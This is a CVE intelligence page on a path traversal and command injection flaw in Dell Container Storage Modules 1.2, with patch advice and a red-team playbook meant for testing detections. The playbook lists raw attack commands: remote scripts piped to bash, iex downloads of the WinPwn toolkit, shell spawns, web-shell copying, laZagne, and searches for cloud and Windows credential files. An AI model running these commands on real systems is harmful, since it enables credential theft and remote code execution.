CVE-2022-34426
Overview
The vulnerability is an improper limitation of a pathname to a restricted directory within the goiscsi and gobrick libraries used by Dell Container Storage Modules version 1.2. This flaw arises from inadequate validation of file system paths, allowing traversal beyond intended directory boundaries. The affected components mishandle pathname inputs, enabling unauthorized directory access due to insufficient path sanitization controls.
Vulnerability Description
Dell Container Storage Modules 1.2 contains an Improper Limitation of a Pathname to a Restricted Directory in goiscsi and gobrick libraries which could lead to OS command injection. A remote unauthenticated attacker could exploit this vulnerability leading to unintentional access to path outside of restricted directory.
Impact
An unauthenticated remote attacker can exploit this vulnerability to access or execute operating system commands outside the restricted directory context, potentially leading to full system compromise. The attack requires only network access with no user interaction or prior authentication (CVSS vector AV:N/AC:L/PR:L/UI:N). Consequences include unauthorized data access, privilege escalation, and disruption of container storage services, impacting confidentiality, integrity, and availability of the affected system.
Solution
Dell has released security updates addressing this vulnerability in the Dell Container Storage Modules product line. Administrators should apply the patches as detailed in Dell Security Advisory DSA-2022-259 available at https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities. The advisory provides version-specific remediation instructions and recommends updating to the fixed release versions of the Container Storage Modules to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell Container Storage Modules 1.2 arises from an improper limitation of a pathname to a restricted directory within the goiscsi and gobrick libraries. This flaw allows an attacker to manipulate file paths, potentially leading to OS command injection. Command injection vulnerabilities occur when an application passes unsafe user input to a system shell, allowing an attacker to execute arbitrary commands on the host operating system. In this case, the failure to adequately restrict access to certain directories means that an attacker can exploit this weakness to gain unauthorized access to sensitive files or execute malicious commands, thereby compromising the integrity and confidentiality of the system.
Attack vectors for this vulnerability are particularly concerning due to the potential for remote exploitation by unauthenticated users. An attacker could leverage this flaw by crafting a specially designed request that circumvents the intended directory restrictions. For instance, by manipulating the input parameters that the application uses to construct file paths, the attacker could redirect the application to access files outside the designated directories. This could lead to the execution of arbitrary commands, data exfiltration, or even complete system compromise. The ease of exploitation, combined with the lack of authentication requirements, makes this vulnerability a prime target for attackers seeking to exploit weaknesses in enterprise environments.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Dell Container Storage Modules for their storage solutions. The potential for unauthorized access to sensitive data can lead to severe business risks, including data breaches, loss of customer trust, and regulatory penalties. Additionally, the ability for attackers to execute arbitrary commands could allow them to deploy malware, disrupt services, or establish persistent access to the compromised systems. The financial implications of such incidents can be substantial, encompassing costs related to incident response, remediation, and potential legal liabilities arising from data breaches.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses within the system. Implementing robust input validation and sanitization measures is crucial to prevent malicious input from being processed by the application. Furthermore, organizations should ensure that their systems are updated with the latest security patches and configurations provided by the vendor. Employing intrusion detection systems (IDS) can also aid in monitoring for unusual activities that may indicate exploitation attempts, allowing for timely response to potential threats.
In conclusion, the vulnerability in Dell Container Storage Modules underscores the importance of secure coding practices and the need for continuous monitoring and assessment of security postures in enterprise environments. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves against such threats. Proactive detection and mitigation strategies are essential to safeguard sensitive data and maintain the integrity of critical systems, ultimately protecting the organization from the far-reaching consequences of cyberattacks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dell | Container Storage Modules | All |
cpe:2.3:a:dell:container_storage_modules:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-34426 |
| dell.com |
GitHub CVE
|
https://www.dell.com/support/kbdoc/en-vc/000203352/dsa-2022-259-dell-container-storage-modules-security-update-for-multiple-vulnerabilities |